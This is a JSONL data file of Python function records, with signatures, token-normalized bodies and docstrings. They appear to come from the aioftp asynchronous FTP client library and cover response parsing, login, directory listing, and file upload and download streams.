{"signature": "def matches(self, mask):", "body": "return all(map(lambda m, c: not m.isdigit() or m == c, mask, self))<EOL>", "docstring": ":param mask: Template for comparision. If mask symbol is not digit\n    then it passes.\n:type mask: :py:class:`str`\n\n::\n\n    >>> Code(\"123\").matches(\"1\")\n    True\n    >>> Code(\"123\").matches(\"1x3\")\n    True", "id": "f9225:c0:m0"}
{"signature": "async def finish(self, expected_codes=\"<STR_LIT>\", wait_codes=\"<STR_LIT>\"):", "body": "self.close()<EOL>await self.client.command(None, expected_codes, wait_codes)<EOL>", "docstring": ":py:func:`asyncio.coroutine`\n\nClose connection and wait for `expected_codes` response from server\npassing `wait_codes`.\n\n:param expected_codes: tuple of expected codes or expected code\n:type expected_codes: :py:class:`tuple` of :py:class:`str` or\n    :py:class:`str`\n\n:param wait_codes: tuple of wait codes or wait code\n:type wait_codes: :py:class:`tuple` of :py:class:`str` or\n    :py:class:`str`", "id": "f9225:c1:m1"}
{"signature": "def close(self):", "body": "if self.stream is not None:<EOL><INDENT>self.stream.close()<EOL><DEDENT>", "docstring": "Close connection.", "id": "f9225:c2:m2"}
{"signature": "async def parse_line(self):", "body": "line = await self.stream.readline()<EOL>if not line:<EOL><INDENT>self.stream.close()<EOL>raise ConnectionResetError<EOL><DEDENT>s = line.decode(encoding=self.encoding).rstrip()<EOL>logger.info(s)<EOL>return Code(s[:<NUM_LIT:3>]), s[<NUM_LIT:3>:]<EOL>", "docstring": ":py:func:`asyncio.coroutine`\n\nParsing server response line.\n\n:return: (code, line)\n:rtype: (:py:class:`aioftp.Code`, :py:class:`str`)\n\n:raises ConnectionResetError: if received data is empty (this\n    means, that connection is closed)\n:raises asyncio.TimeoutError: if there where no data for `timeout`\n    period", "id": "f9225:c2:m3"}
{"signature": "async def parse_response(self):", "body": "code, rest = await self.parse_line()<EOL>info = [rest]<EOL>curr_code = code<EOL>while rest.startswith(\"<STR_LIT:->\") or not curr_code.isdigit():<EOL><INDENT>curr_code, rest = await self.parse_line()<EOL>if curr_code.isdigit():<EOL><INDENT>info.append(rest)<EOL>if curr_code != code:<EOL><INDENT>raise errors.StatusCodeError(code, curr_code, info)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>info.append(curr_code + rest)<EOL><DEDENT><DEDENT>return code, info<EOL>", "docstring": ":py:func:`asyncio.coroutine`\n\nParsing full server response (all lines).\n\n:return: (code, lines)\n:rtype: (:py:class:`aioftp.Code`, :py:class:`list` of :py:class:`str`)\n\n:raises aioftp.StatusCodeError: if received code does not matches all\n    already received codes", "id": "f9225:c2:m4"}
{"signature": "def check_codes(self, expected_codes, received_code, info):", "body": "if not any(map(received_code.matches, expected_codes)):<EOL><INDENT>raise errors.StatusCodeError(expected_codes, received_code, info)<EOL><DEDENT>", "docstring": "Checks if any of expected matches received.\n\n:param expected_codes: tuple of expected codes\n:type expected_codes: :py:class:`tuple`\n\n:param received_code: received code for matching\n:type received_code: :py:class:`aioftp.Code`\n\n:param info: list of response lines from server\n:type info: :py:class:`list`\n\n:raises aioftp.StatusCodeError: if received code does not matches any\n    expected code", "id": "f9225:c2:m5"}
{"signature": "async def command(self, command=None, expected_codes=(), wait_codes=()):", "body": "expected_codes = wrap_with_container(expected_codes)<EOL>wait_codes = wrap_with_container(wait_codes)<EOL>if command:<EOL><INDENT>logger.info(command)<EOL>message = command + END_OF_LINE<EOL>await self.stream.write(message.encode(encoding=self.encoding))<EOL><DEDENT>if expected_codes or wait_codes:<EOL><INDENT>code, info = await self.parse_response()<EOL>while any(map(code.matches, wait_codes)):<EOL><INDENT>code, info = await self.parse_response()<EOL><DEDENT>if expected_codes:<EOL><INDENT>self.check_codes(expected_codes, code, info)<EOL><DEDENT>return code, info<EOL><DEDENT>", "docstring": ":py:func:`asyncio.coroutine`\n\nBasic command logic.\n\n1. Send command if not omitted.\n2. Yield response until no wait code matches.\n3. Check code for expected.\n\n:param command: command line\n:type command: :py:class:`str`\n\n:param expected_codes: tuple of expected codes or expected code\n:type expected_codes: :py:class:`tuple` of :py:class:`str` or\n    :py:class:`str`\n\n:param wait_codes: tuple of wait codes or wait code\n:type wait_codes: :py:class:`tuple` of :py:class:`str` or\n    :py:class:`str`", "id": "f9225:c2:m6"}
{"signature": "@staticmethod<EOL><INDENT>def parse_epsv_response(s):<DEDENT>", "body": "matches = tuple(re.finditer(r\"<STR_LIT>\", s))<EOL>s = matches[-<NUM_LIT:1>].group()<EOL>port = int(s[<NUM_LIT:4>:-<NUM_LIT:2>])<EOL>return None, port<EOL>", "docstring": "Parsing `EPSV` (`message (|||port|)`) response.\n\n:param s: response line\n:type s: :py:class:`str`\n\n:return: (ip, port)\n:rtype: (:py:class:`None`, :py:class:`int`)", "id": "f9225:c2:m7"}
{"signature": "@staticmethod<EOL><INDENT>def parse_pasv_response(s):<DEDENT>", "body": "sub, *_ = re.findall(r\"<STR_LIT>\", s)<EOL>nums = tuple(map(int, sub.split(\"<STR_LIT:U+002C>\")))<EOL>ip = \"<STR_LIT:.>\".join(map(str, nums[:<NUM_LIT:4>]))<EOL>port = (nums[<NUM_LIT:4>] << <NUM_LIT:8>) | nums[<NUM_LIT:5>]<EOL>return ip, port<EOL>", "docstring": "Parsing `PASV` server response.\n\n:param s: response line\n:type s: :py:class:`str`\n\n:return: (ip, port)\n:rtype: (:py:class:`str`, :py:class:`int`)", "id": "f9225:c2:m8"}
{"signature": "@staticmethod<EOL><INDENT>def parse_directory_response(s):<DEDENT>", "body": "seq_quotes = <NUM_LIT:0><EOL>start = False<EOL>directory = \"<STR_LIT>\"<EOL>for ch in s:<EOL><INDENT>if not start:<EOL><INDENT>if ch == \"<STR_LIT>\":<EOL><INDENT>start = True<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if ch == \"<STR_LIT>\":<EOL><INDENT>seq_quotes += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>if seq_quotes == <NUM_LIT:1>:<EOL><INDENT>break<EOL><DEDENT>elif seq_quotes == <NUM_LIT:2>:<EOL><INDENT>seq_quotes = <NUM_LIT:0><EOL>directory += '<STR_LIT:\">'<EOL><DEDENT>directory += ch<EOL><DEDENT><DEDENT><DEDENT>return pathlib.PurePosixPath(directory)<EOL>", "docstring": "Parsing directory server response.\n\n:param s: response line\n:type s: :py:class:`str`\n\n:rtype: :py:class:`pathlib.PurePosixPath`", "id": "f9225:c2:m9"}
{"signature": "@staticmethod<EOL><INDENT>def parse_unix_mode(s):<DEDENT>", "body": "parse_rw = {\"<STR_LIT>\": <NUM_LIT:6>, \"<STR_LIT>\": <NUM_LIT:4>, \"<STR_LIT>\": <NUM_LIT:2>, \"<STR_LIT>\": <NUM_LIT:0>}<EOL>mode = <NUM_LIT:0><EOL>mode |= parse_rw[s[<NUM_LIT:0>:<NUM_LIT:2>]] << <NUM_LIT:6><EOL>mode |= parse_rw[s[<NUM_LIT:3>:<NUM_LIT:5>]] << <NUM_LIT:3><EOL>mode |= parse_rw[s[<NUM_LIT:6>:<NUM_LIT:8>]]<EOL>if s[<NUM_LIT:2>] == \"<STR_LIT:s>\":<EOL><INDENT>mode |= <NUM_LIT><EOL><DEDENT>elif s[<NUM_LIT:2>] == \"<STR_LIT:x>\":<EOL><INDENT>mode |= <NUM_LIT><EOL><DEDENT>elif s[<NUM_LIT:2>] != \"<STR_LIT:->\":<EOL><INDENT>raise ValueError<EOL><DEDENT>if s[<NUM_LIT:5>] == \"<STR_LIT:s>\":<EOL><INDENT>mode |= <NUM_LIT><EOL><DEDENT>elif s[<NUM_LIT:5>] == \"<STR_LIT:x>\":<EOL><INDENT>mode |= <NUM_LIT><EOL><DEDENT>elif s[<NUM_LIT:5>] != \"<STR_LIT:->\":<EOL><INDENT>raise ValueError<EOL><DEDENT>if s[<NUM_LIT:8>] == \"<STR_LIT:t>\":<EOL><INDENT>mode |= <NUM_LIT><EOL><DEDENT>elif s[<NUM_LIT:8>] == \"<STR_LIT:x>\":<EOL><INDENT>mode |= <NUM_LIT><EOL><DEDENT>elif s[<NUM_LIT:8>] != \"<STR_LIT:->\":<EOL><INDENT>raise ValueError<EOL><DEDENT>return mode<EOL>", "docstring": "Parsing unix mode strings (\"rwxr-x--t\") into hexacimal notation.\n\n:param s: mode string\n:type s: :py:class:`str`\n\n:return mode:\n:rtype: :py:class:`int`", "id": "f9225:c2:m10"}
{"signature": "@staticmethod<EOL><INDENT>def format_date_time(d):<DEDENT>", "body": "return d.strftime(\"<STR_LIT>\")<EOL>", "docstring": "Formats dates from strptime in a consistent format\n\n:param d: return value from strptime\n:type d: :py:class:`datetime`\n\n:rtype: :py:class`str`", "id": "f9225:c2:m11"}
{"signature": "def parse_ls_date(self, s, *, now=None):", "body": "with setlocale(\"<STR_LIT:C>\"):<EOL><INDENT>try:<EOL><INDENT>if now is None:<EOL><INDENT>now = datetime.datetime.now()<EOL><DEDENT>d = datetime.datetime.strptime(s, \"<STR_LIT>\")<EOL>d = d.replace(year=now.year)<EOL>diff = (now - d).total_seconds()<EOL>if diff > HALF_OF_YEAR_IN_SECONDS:<EOL><INDENT>d = d.replace(year=now.year + <NUM_LIT:1>)<EOL><DEDENT>elif diff < -HALF_OF_YEAR_IN_SECONDS:<EOL><INDENT>d = d.replace(year=now.year - <NUM_LIT:1>)<EOL><DEDENT><DEDENT>except ValueError:<EOL><INDENT>d = datetime.datetime.strptime(s, \"<STR_LIT>\")<EOL><DEDENT><DEDENT>return self.format_date_time(d)<EOL>", "docstring": "Parsing dates from the ls unix utility. For example,\n\"Nov 18  1958\" and \"Nov 18 12:29\".\n\n:param s: ls date\n:type s: :py:class:`str`\n\n:rtype: :py:class:`str`", "id": "f9225:c2:m12"}
{"signature": "def parse_list_line_unix(self, b):", "body": "s = b.decode(encoding=self.encoding).rstrip()<EOL>info = {}<EOL>if s[<NUM_LIT:0>] == \"<STR_LIT:->\":<EOL><INDENT>info[\"<STR_LIT:type>\"] = \"<STR_LIT:file>\"<EOL><DEDENT>elif s[<NUM_LIT:0>] == \"<STR_LIT:d>\":<EOL><INDENT>info[\"<STR_LIT:type>\"] = \"<STR_LIT>\"<EOL><DEDENT>elif s[<NUM_LIT:0>] == \"<STR_LIT:l>\":<EOL><INDENT>info[\"<STR_LIT:type>\"] = \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>info[\"<STR_LIT:type>\"] = \"<STR_LIT>\"<EOL><DEDENT>info[\"<STR_LIT>\"] = self.parse_unix_mode(s[<NUM_LIT:1>:<NUM_LIT:10>])<EOL>s = s[<NUM_LIT:10>:].lstrip()<EOL>i = s.index(\"<STR_LIT:U+0020>\")<EOL>info[\"<STR_LIT>\"] = s[:i]<EOL>if not info[\"<STR_LIT>\"].isdigit():<EOL><INDENT>raise ValueError<EOL><DEDENT>s = s[i:].lstrip()<EOL>i = s.index(\"<STR_LIT:U+0020>\")<EOL>info[\"<STR_LIT>\"] = s[:i]<EOL>s = s[i:].lstrip()<EOL>i = s.index(\"<STR_LIT:U+0020>\")<EOL>info[\"<STR_LIT>\"] = s[:i]<EOL>s = s[i:].lstrip()<EOL>i = s.index(\"<STR_LIT:U+0020>\")<EOL>info[\"<STR_LIT:size>\"] = s[:i]<EOL>if not info[\"<STR_LIT:size>\"].isdigit():<EOL><INDENT>raise ValueError<EOL><DEDENT>s = s[i:].lstrip()<EOL>info[\"<STR_LIT>\"] = self.parse_ls_date(s[:<NUM_LIT:12>])<EOL>s = s[<NUM_LIT:12>:].strip()<EOL>if info[\"<STR_LIT:type>\"] == \"<STR_LIT>\":<EOL><INDENT>i = s.rindex(\"<STR_LIT>\")<EOL>link_dst = s[i + <NUM_LIT:4>:]<EOL>link_src = s[:i]<EOL>i = -<NUM_LIT:2> if link_dst[-<NUM_LIT:1>] == \"<STR_LIT>\" or link_dst[-<NUM_LIT:1>] == \"<STR_LIT>\" else -<NUM_LIT:1><EOL>info[\"<STR_LIT:type>\"] = \"<STR_LIT>\" if link_dst[i] == \"<STR_LIT:/>\" else \"<STR_LIT:file>\"<EOL>s = link_src<EOL><DEDENT>return pathlib.PurePosixPath(s), info<EOL>", "docstring": "Attempt to parse a LIST line (similar to unix ls utility).\n\n:param b: response line\n:type b: :py:class:`bytes` or :py:class:`str`\n\n:return: (path, info)\n:rtype: (:py:class:`pathlib.PurePosixPath`, :py:class:`dict`)", "id": "f9225:c2:m13"}
{"signature": "def parse_list_line_windows(self, b):", "body": "line = b.decode(encoding=self.encoding).rstrip(\"<STR_LIT:\\r\\n>\")<EOL>date_time_end = line.index(\"<STR_LIT:M>\")<EOL>date_time_str = line[:date_time_end + <NUM_LIT:1>].strip().split(\"<STR_LIT:U+0020>\")<EOL>date_time_str = \"<STR_LIT:U+0020>\".join([x for x in date_time_str if len(x) > <NUM_LIT:0>])<EOL>line = line[date_time_end + <NUM_LIT:1>:].lstrip()<EOL>with setlocale(\"<STR_LIT:C>\"):<EOL><INDENT>strptime = datetime.datetime.strptime<EOL>date_time = strptime(date_time_str, \"<STR_LIT>\")<EOL><DEDENT>info = {}<EOL>info[\"<STR_LIT>\"] = self.format_date_time(date_time)<EOL>next_space = line.index(\"<STR_LIT:U+0020>\")<EOL>if line.startswith(\"<STR_LIT>\"):<EOL><INDENT>info[\"<STR_LIT:type>\"] = \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>info[\"<STR_LIT:type>\"] = \"<STR_LIT:file>\"<EOL>info[\"<STR_LIT:size>\"] = line[:next_space].replace(\"<STR_LIT:U+002C>\", \"<STR_LIT>\")<EOL>if not info[\"<STR_LIT:size>\"].isdigit():<EOL><INDENT>raise ValueError<EOL><DEDENT><DEDENT>filename = line[next_space:].lstrip()<EOL>if filename == \"<STR_LIT:.>\" or filename == \"<STR_LIT:..>\":<EOL><INDENT>raise ValueError<EOL><DEDENT>return pathlib.PurePosixPath(filename), info<EOL>", "docstring": "Parsing Microsoft Windows `dir` output\n\n:param b: response line\n:type b: :py:class:`bytes` or :py:class:`str`\n\n:return: (path, info)\n:rtype: (:py:class:`pathlib.PurePosixPath`, :py:class:`dict`)", "id": "f9225:c2:m14"}
{"signature": "def parse_list_line(self, b):", "body": "ex = []<EOL>parsers = (self.parse_list_line_unix, self.parse_list_line_windows)<EOL>for parser in parsers:<EOL><INDENT>try:<EOL><INDENT>return parser(b)<EOL><DEDENT>except (ValueError, KeyError, IndexError) as e:<EOL><INDENT>ex.append(e)<EOL><DEDENT><DEDENT>raise ValueError(\"<STR_LIT>\", b, ex)<EOL>", "docstring": "Parse LIST response with both Microsoft Windows\u00ae parser and\nUNIX parser\n\n:param b: response line\n:type b: :py:class:`bytes` or :py:class:`str`\n\n:return: (path, info)\n:rtype: (:py:class:`pathlib.PurePosixPath`, :py:class:`dict`)", "id": "f9225:c2:m15"}
{"signature": "def parse_mlsx_line(self, b):", "body": "if isinstance(b, bytes):<EOL><INDENT>s = b.decode(encoding=self.encoding)<EOL><DEDENT>else:<EOL><INDENT>s = b<EOL><DEDENT>line = s.rstrip()<EOL>facts_found, _, name = line.partition(\"<STR_LIT:U+0020>\")<EOL>entry = {}<EOL>for fact in facts_found[:-<NUM_LIT:1>].split(\"<STR_LIT:;>\"):<EOL><INDENT>key, _, value = fact.partition(\"<STR_LIT:=>\")<EOL>entry[key.lower()] = value<EOL><DEDENT>return pathlib.PurePosixPath(name), entry<EOL>", "docstring": "Parsing MLS(T|D) response.\n\n:param b: response line\n:type b: :py:class:`bytes` or :py:class:`str`\n\n:return: (path, info)\n:rtype: (:py:class:`pathlib.PurePosixPath`, :py:class:`dict`)", "id": "f9225:c2:m16"}
{"signature": "async def connect(self, host, port=DEFAULT_PORT):", "body": "await super().connect(host, port)<EOL>code, info = await self.command(None, \"<STR_LIT>\", \"<STR_LIT>\")<EOL>return info<EOL>", "docstring": ":py:func:`asyncio.coroutine`\n\nConnect to server.\n\n:param host: host name for connection\n:type host: :py:class:`str`\n\n:param port: port number for connection\n:type port: :py:class:`int`", "id": "f9225:c3:m0"}
{"signature": "async def login(self, user=DEFAULT_USER, password=DEFAULT_PASSWORD,<EOL>account=DEFAULT_ACCOUNT):", "body": "code, info = await self.command(\"<STR_LIT>\" + user, (\"<STR_LIT>\", \"<STR_LIT>\"))<EOL>while code.matches(\"<STR_LIT>\"):<EOL><INDENT>if code == \"<STR_LIT>\":<EOL><INDENT>cmd = \"<STR_LIT>\" + password<EOL><DEDENT>elif code == \"<STR_LIT>\":<EOL><INDENT>cmd = \"<STR_LIT>\" + account<EOL><DEDENT>else:<EOL><INDENT>raise errors.StatusCodeError(\"<STR_LIT>\", code, info)<EOL><DEDENT>code, info = await self.command(cmd, (\"<STR_LIT>\", \"<STR_LIT>\"))<EOL><DEDENT>", "docstring": ":py:func:`asyncio.coroutine`\n\nServer authentication.\n\n:param user: username\n:type user: :py:class:`str`\n\n:param password: password\n:type password: :py:class:`str`\n\n:param account: account (almost always blank)\n:type account: :py:class:`str`\n\n:raises aioftp.StatusCodeError: if unknown code received", "id": "f9225:c3:m1"}
{"signature": "async def get_current_directory(self):", "body": "code, info = await self.command(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>directory = self.parse_directory_response(info[-<NUM_LIT:1>])<EOL>return directory<EOL>", "docstring": ":py:func:`asyncio.coroutine`\n\nGetting current working directory.\n\n:rtype: :py:class:`pathlib.PurePosixPath`", "id": "f9225:c3:m2"}
{"signature": "async def change_directory(self, path=\"<STR_LIT:..>\"):", "body": "path = pathlib.PurePosixPath(path)<EOL>if path == pathlib.PurePosixPath(\"<STR_LIT:..>\"):<EOL><INDENT>cmd = \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>cmd = \"<STR_LIT>\" + str(path)<EOL><DEDENT>await self.command(cmd, \"<STR_LIT>\")<EOL>", "docstring": ":py:func:`asyncio.coroutine`\n\nChange current directory. Goes \u00abup\u00bb if no parameters passed.\n\n:param path: new directory, goes \u00abup\u00bb if omitted\n:type path: :py:class:`str` or :py:class:`pathlib.PurePosixPath`", "id": "f9225:c3:m3"}
{"signature": "async def make_directory(self, path, *, parents=True):", "body": "path = pathlib.PurePosixPath(path)<EOL>need_create = []<EOL>while path.name and not await self.exists(path):<EOL><INDENT>need_create.append(path)<EOL>path = path.parent<EOL>if not parents:<EOL><INDENT>break<EOL><DEDENT><DEDENT>need_create.reverse()<EOL>for path in need_create:<EOL><INDENT>await self.command(\"<STR_LIT>\" + str(path), \"<STR_LIT>\")<EOL><DEDENT>", "docstring": ":py:func:`asyncio.coroutine`\n\nMake directory.\n\n:param path: path to directory to create\n:type path: :py:class:`str` or :py:class:`pathlib.PurePosixPath`\n\n:param parents: create parents if does not exists\n:type parents: :py:class:`bool`", "id": "f9225:c3:m4"}
{"signature": "async def remove_directory(self, path):", "body": "await self.command(\"<STR_LIT>\" + str(path), \"<STR_LIT>\")<EOL>", "docstring": ":py:func:`asyncio.coroutine`\n\nLow level remove method for removing empty directory.\n\n:param path: empty directory to remove\n:type path: :py:class:`str` or :py:class:`pathlib.PurePosixPath`", "id": "f9225:c3:m5"}
{"signature": "def list(self, path=\"<STR_LIT>\", *, recursive=False, raw_command=None):", "body": "class AsyncLister(AsyncListerMixin):<EOL><INDENT>stream = None<EOL>async def _new_stream(cls, local_path):<EOL><INDENT>cls.path = local_path<EOL>cls.parse_line = self.parse_mlsx_line<EOL>if raw_command not in [None, \"<STR_LIT>\", \"<STR_LIT>\"]:<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>f\"<STR_LIT>\")<EOL><DEDENT>if raw_command in [None, \"<STR_LIT>\"]:<EOL><INDENT>try:<EOL><INDENT>command = (\"<STR_LIT>\" + str(cls.path)).strip()<EOL>return await self.get_stream(command, \"<STR_LIT>\")<EOL><DEDENT>except errors.StatusCodeError as e:<EOL><INDENT>code = e.received_codes[-<NUM_LIT:1>]<EOL>if not code.matches(\"<STR_LIT>\") or raw_command is not None:<EOL><INDENT>raise<EOL><DEDENT><DEDENT><DEDENT>if raw_command in [None, \"<STR_LIT>\"]:<EOL><INDENT>cls.parse_line = self.parse_list_line<EOL>command = (\"<STR_LIT>\" + str(cls.path)).strip()<EOL>return await self.get_stream(command, \"<STR_LIT>\")<EOL><DEDENT><DEDENT>def __aiter__(cls):<EOL><INDENT>cls.directories = collections.deque()<EOL>return cls<EOL><DEDENT>async def __anext__(cls):<EOL><INDENT>if cls.stream is None:<EOL><INDENT>cls.stream = await cls._new_stream(path)<EOL><DEDENT>while True:<EOL><INDENT>line = await cls.stream.readline()<EOL>while not line:<EOL><INDENT>await cls.stream.finish()<EOL>if cls.directories:<EOL><INDENT>current_path, info = cls.directories.popleft()<EOL>cls.stream = await cls._new_stream(current_path)<EOL>line = await cls.stream.readline()<EOL><DEDENT>else:<EOL><INDENT>raise StopAsyncIteration<EOL><DEDENT><DEDENT>try:<EOL><INDENT>name, info = cls.parse_line(line)<EOL><DEDENT>except Exception:<EOL><INDENT>continue<EOL><DEDENT>stat = cls.path / name, info<EOL>if info[\"<STR_LIT:type>\"] == \"<STR_LIT>\" and recursive:<EOL><INDENT>cls.directories.append(stat)<EOL><DEDENT>return stat<EOL><DEDENT><DEDENT><DEDENT>return AsyncLister()<EOL>", "docstring": ":py:func:`asyncio.coroutine`\n\nList all files and directories in \"path\".\n\n:param path: directory or file path\n:type path: :py:class:`str` or :py:class:`pathlib.PurePosixPath`\n\n:param recursive: list recursively\n:type recursive: :py:class:`bool`\n\n:param raw_command: optional ftp command to use in place of\n    fallback logic (must be one of \"MLSD\", \"LIST\")\n:type raw_command: :py:class:`str`\n\n:rtype: :py:class:`list` or `async for` context\n\n::\n\n    >>> # lazy list\n    >>> async for path, info in client.list():\n    ...     # no interaction with client should be here(!)\n\n    >>> # eager list\n    >>> for path, info in (await client.list()):\n    ...     # interaction with client allowed, since all paths are\n    ...     # collected already\n\n::\n\n    >>> stats = await client.list()", "id": "f9225:c3:m6"}
{"signature": "async def stat(self, path):", "body": "path = pathlib.PurePosixPath(path)<EOL>try:<EOL><INDENT>code, info = await self.command(\"<STR_LIT>\" + str(path), \"<STR_LIT>\")<EOL>name, info = self.parse_mlsx_line(info[<NUM_LIT:1>].lstrip())<EOL>return info<EOL><DEDENT>except errors.StatusCodeError as e:<EOL><INDENT>if not e.received_codes[-<NUM_LIT:1>].matches(\"<STR_LIT>\"):<EOL><INDENT>raise<EOL><DEDENT><DEDENT>for p, info in await self.list(path.parent):<EOL><INDENT>if p.name == path.name:<EOL><INDENT>return info<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise errors.StatusCodeError(<EOL>Code(\"<STR_LIT>\"),<EOL>Code(\"<STR_LIT>\"),<EOL>\"<STR_LIT>\",<EOL>)<EOL><DEDENT>", "docstring": ":py:func:`asyncio.coroutine`\n\nGetting path stats.\n\n:param path: path for getting info\n:type path: :py:class:`str` or :py:class:`pathlib.PurePosixPath`\n\n:return: path info\n:rtype: :py:class:`dict`", "id": "f9225:c3:m7"}
{"signature": "async def is_file(self, path):", "body": "info = await self.stat(path)<EOL>return info[\"<STR_LIT:type>\"] == \"<STR_LIT:file>\"<EOL>", "docstring": ":py:func:`asyncio.coroutine`\n\nChecks if path is file.\n\n:param path: path to check\n:type path: :py:class:`str` or :py:class:`pathlib.PurePosixPath`\n\n:rtype: :py:class:`bool`", "id": "f9225:c3:m8"}
{"signature": "async def is_dir(self, path):", "body": "info = await self.stat(path)<EOL>return info[\"<STR_LIT:type>\"] == \"<STR_LIT>\"<EOL>", "docstring": ":py:func:`asyncio.coroutine`\n\nChecks if path is dir.\n\n:param path: path to check\n:type path: :py:class:`str` or :py:class:`pathlib.PurePosixPath`\n\n:rtype: :py:class:`bool`", "id": "f9225:c3:m9"}
{"signature": "async def exists(self, path):", "body": "try:<EOL><INDENT>await self.stat(path)<EOL>return True<EOL><DEDENT>except errors.StatusCodeError as e:<EOL><INDENT>if e.received_codes[-<NUM_LIT:1>].matches(\"<STR_LIT>\"):<EOL><INDENT>return False<EOL><DEDENT>raise<EOL><DEDENT>", "docstring": ":py:func:`asyncio.coroutine`\n\nCheck path for existence.\n\n:param path: path to check\n:type path: :py:class:`str` or :py:class:`pathlib.PurePosixPath`\n\n:rtype: :py:class:`bool`", "id": "f9225:c3:m10"}
{"signature": "async def rename(self, source, destination):", "body": "await self.command(\"<STR_LIT>\" + str(source), \"<STR_LIT>\")<EOL>await self.command(\"<STR_LIT>\" + str(destination), \"<STR_LIT>\")<EOL>", "docstring": ":py:func:`asyncio.coroutine`\n\nRename (move) file or directory.\n\n:param source: path to rename\n:type source: :py:class:`str` or :py:class:`pathlib.PurePosixPath`\n\n:param destination: path new name\n:type destination: :py:class:`str` or :py:class:`pathlib.PurePosixPath`", "id": "f9225:c3:m11"}
{"signature": "async def remove_file(self, path):", "body": "await self.command(\"<STR_LIT>\" + str(path), \"<STR_LIT>\")<EOL>", "docstring": ":py:func:`asyncio.coroutine`\n\nLow level remove method for removing file.\n\n:param path: file to remove\n:type path: :py:class:`str` or :py:class:`pathlib.PurePosixPath`", "id": "f9225:c3:m12"}
{"signature": "async def remove(self, path):", "body": "if await self.exists(path):<EOL><INDENT>info = await self.stat(path)<EOL>if info[\"<STR_LIT:type>\"] == \"<STR_LIT:file>\":<EOL><INDENT>await self.remove_file(path)<EOL><DEDENT>elif info[\"<STR_LIT:type>\"] == \"<STR_LIT>\":<EOL><INDENT>for name, info in (await self.list(path)):<EOL><INDENT>if info[\"<STR_LIT:type>\"] in (\"<STR_LIT>\", \"<STR_LIT:file>\"):<EOL><INDENT>await self.remove(name)<EOL><DEDENT><DEDENT>await self.remove_directory(path)<EOL><DEDENT><DEDENT>", "docstring": ":py:func:`asyncio.coroutine`\n\nHigh level remove method for removing path recursively (file or\ndirectory).\n\n:param path: path to remove\n:type path: :py:class:`str` or :py:class:`pathlib.PurePosixPath`", "id": "f9225:c3:m13"}
{"signature": "def upload_stream(self, destination, *, offset=<NUM_LIT:0>):", "body": "return self.get_stream(<EOL>\"<STR_LIT>\" + str(destination),<EOL>\"<STR_LIT>\",<EOL>offset=offset,<EOL>)<EOL>", "docstring": "Create stream for write data to `destination` file.\n\n:param destination: destination path of file on server side\n:type destination: :py:class:`str` or :py:class:`pathlib.PurePosixPath`\n\n:param offset: byte offset for stream start position\n:type offset: :py:class:`int`\n\n:rtype: :py:class:`aioftp.DataConnectionThrottleStreamIO`", "id": "f9225:c3:m14"}
{"signature": "def append_stream(self, destination, *, offset=<NUM_LIT:0>):", "body": "return self.get_stream(<EOL>\"<STR_LIT>\" + str(destination),<EOL>\"<STR_LIT>\",<EOL>offset=offset,<EOL>)<EOL>", "docstring": "Create stream for append (write) data to `destination` file.\n\n:param destination: destination path of file on server side\n:type destination: :py:class:`str` or :py:class:`pathlib.PurePosixPath`\n\n:param offset: byte offset for stream start position\n:type offset: :py:class:`int`\n\n:rtype: :py:class:`aioftp.DataConnectionThrottleStreamIO`", "id": "f9225:c3:m15"}
{"signature": "async def upload(self, source, destination=\"<STR_LIT>\", *, write_into=False,<EOL>block_size=DEFAULT_BLOCK_SIZE):", "body": "source = pathlib.Path(source)<EOL>destination = pathlib.PurePosixPath(destination)<EOL>if not write_into:<EOL><INDENT>destination = destination / source.name<EOL><DEDENT>if await self.path_io.is_file(source):<EOL><INDENT>await self.make_directory(destination.parent)<EOL>async with self.path_io.open(source, mode=\"<STR_LIT:rb>\") as file_in,self.upload_stream(destination) as stream:<EOL><INDENT>async for block in file_in.iter_by_block(block_size):<EOL><INDENT>await stream.write(block)<EOL><DEDENT><DEDENT><DEDENT>elif await self.path_io.is_dir(source):<EOL><INDENT>await self.make_directory(destination)<EOL>sources = collections.deque([source])<EOL>while sources:<EOL><INDENT>src = sources.popleft()<EOL>async for path in self.path_io.list(src):<EOL><INDENT>if write_into:<EOL><INDENT>relative = destination.name / path.relative_to(source)<EOL><DEDENT>else:<EOL><INDENT>relative = path.relative_to(source.parent)<EOL><DEDENT>if await self.path_io.is_dir(path):<EOL><INDENT>await self.make_directory(relative)<EOL>sources.append(path)<EOL><DEDENT>else:<EOL><INDENT>await self.upload(<EOL>path,<EOL>relative,<EOL>write_into=True,<EOL>block_size=block_size<EOL>)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>", "docstring": ":py:func:`asyncio.coroutine`\n\nHigh level upload method for uploading files and directories\nrecursively from file system.\n\n:param source: source path of file or directory on client side\n:type source: :py:class:`str` or :py:class:`pathlib.Path`\n\n:param destination: destination path of file or directory on server\n    side\n:type destination: :py:class:`str` or :py:class:`pathlib.PurePosixPath`\n\n:param write_into: write source into destination (if you want upload\n    file and change it name, as well with directories)\n:type write_into: :py:class:`bool`\n\n:param block_size: block size for transaction\n:type block_size: :py:class:`int`", "id": "f9225:c3:m16"}
{"signature": "def download_stream(self, source, *, offset=<NUM_LIT:0>):", "body": "return self.get_stream(\"<STR_LIT>\" + str(source), \"<STR_LIT>\", offset=offset)<EOL>", "docstring": ":py:func:`asyncio.coroutine`\n\nCreate stream for read data from `source` file.\n\n:param source: source path of file on server side\n:type source: :py:class:`str` or :py:class:`pathlib.PurePosixPath`\n\n:param offset: byte offset for stream start position\n:type offset: :py:class:`int`\n\n:rtype: :py:class:`aioftp.DataConnectionThrottleStreamIO`", "id": "f9225:c3:m17"}
